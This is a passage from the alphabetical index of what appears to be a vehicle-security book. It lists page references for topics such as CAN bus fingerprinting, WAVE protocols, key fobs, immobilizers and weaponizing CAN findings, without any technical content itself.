interactive	probing	method,	203–204
passive	CAN	bus	fingerprinting,	204–207

Vehicle	Safety	Consortium	(VSC3),	186–187
vehicle	speed,	simulating,	123–126
Vehicle	Spy,	252
vehicle-to-infrastructure	(V2I)	communication,	177
vehicle-to-vehicle	communication.	See	V2V	(vehicle-tovehicle)

communication	Verdult,	Roel,	222,	225
VI	(vehicle	interface),	85
Victim	Board,	137–138
VIN	(vehicle	identification	number)

decoding,	203–204
OBD-III	standard	and,	33
querying,	203

virtual	CAN	network,	40–41
VoIP	(voice	over	IP),	31
Volkswagen	Group	Research,	36
VPW	(variable	pulse	width)	protocol,	22
VQ	tables,	98
VSC3	(Vehicle	Safety	Consortium),	186–187
VSCOM	adapter,	244

W
WAVE	(wireless	access	for	vehicle	environments)	standard,	184–186
WAVE	management	entity	(WME),	185
WAVE	service	announcement	(WSA)	packet,	185
WAVE	short-message	protocol	(WSMP),	179,	185
weaponizing	CAN	findings,	193–194



determining	vehicle	make,	202–207
responsible	exploitation,	208
writing	exploit	in	C	code,	194–202

Wi-Fi	connection,	8.	See	also	wireless	systems	Willem	programmer,	236
WinOLS,	103–105
wireless	access	for	vehicle	environments	(WAVE)	standard,	184–186
wireless	inputs	(IVI	systems),	158
wireless	systems,	209

immobilizer	systems,	220–230
key	fobs,	215–220
SDR	and,	210–211
TPMS	and,	211–215

Wireshark,	69,	179,	246
wiring	(IVI	system),	166–170
WME	(WAVE	management	entity),	185
WMI	(World	Manufacturer	Identifier)	code,	203
wpa_supplicant	threats,	10
WSA	(WAVE	service	announcement)	packet,	185
WSMP	(WAVE	short-message	protocol),	179,	185

Z
.zip	files,	160
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